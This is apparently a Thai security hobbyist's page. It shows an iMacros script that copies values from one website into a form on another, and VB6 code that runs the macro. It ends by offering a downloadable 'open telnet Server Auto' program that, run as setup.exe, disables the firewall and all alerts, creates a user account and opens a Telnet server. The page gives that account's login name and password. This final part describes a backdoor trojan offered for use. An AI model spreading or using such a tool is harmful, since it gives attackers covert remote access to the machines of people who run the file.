Imacro Copy ข้อความจากเว็บไปอีกเว็บ
VERSION BUILD=6500420
TAB T=1
TAB CLOSEALLOTHERS
URL GOTO=http://www.xxx1
TAG POS=8 TYPE=TD ATTR=CLASS:amount&&TXT:* EXTRACT=TXT
SET !EXTRACT_TEST_POPUP NO
SET !VAR1 {{!EXTRACT}}
SET !EXTRACT NULL
TAG POS=1 TYPE=TD ATTR=CLASS:priceHeadTxt<SP>lineHigh1&&TXT:* EXTRACT=TXT
SET !VAR2 {{!EXTRACT}}
SET !EXTRACT NULL
'New page loaded
URL GOTO=http://www.xxx2
TAG POS=2 TYPE=A ATTR=TXT:public_html/
TAG POS=1 TYPE=TEXTAREA FORM=NAME:NoFormName ATTR=NAME:text CONTENT={{!VAR2}},{{!VAR1}}
TAG POS=1 TYPE=INPUT:SUBMIT FORM=NAME:NoFormName ATTR=VALUE:>>
Download VDO
VB6 Code สั่งรัน Imacro
Option Explicit
Dim iim1 As Object
Dim bUseOpenIIM As Boolean
Dim miBrowser As Integer
Private Sub Form_Load()
Set iim1 = CreateObject("imacros")
End Sub
Private Sub Command1_Click()
Dim iret As Long
Dim iplay As Integer
Dim s As String
Dim sCmdLine As String
sCmdLine = ""
iret = iim1.iimInit(sCmdLine)
iret = iim1.iimDisplay("Thaishadow Security & Reverse Engineering") '=ชื่อ ที่เราบันทึกไว้
iret = iim1.iimPlay("Thaishadow Security & Reverse Engineering") ''=ชื่อ ที่เราบันทึกไว้
If iret < 0 Then
End If
iret = iim1.iimExit
End Sub
ทำให้ VirtuaLBox รันอิมเมสอัตโนมัติ บน Ubuntu เมื่อเปิดเครื่อง
โปรแกรม open telnet Server Auto
ทำหน้าที่ปิด firewall ปิดระบบแจ้งเตือนทุกอย่างและสร้าง User เข้าในระบบ แล้วเปิด Telnet Server รอเมื่อรัน ไฟล์ setup.exe
เวลาใช้งานก็ เข้า Cmd แล้วพิมพ์ Telnet [ip เครื่องที่รันไฟล์] ตอบ n แล้วใส่ user pass
สร้าง User: .net_
สร้าง pass: caxker
Download
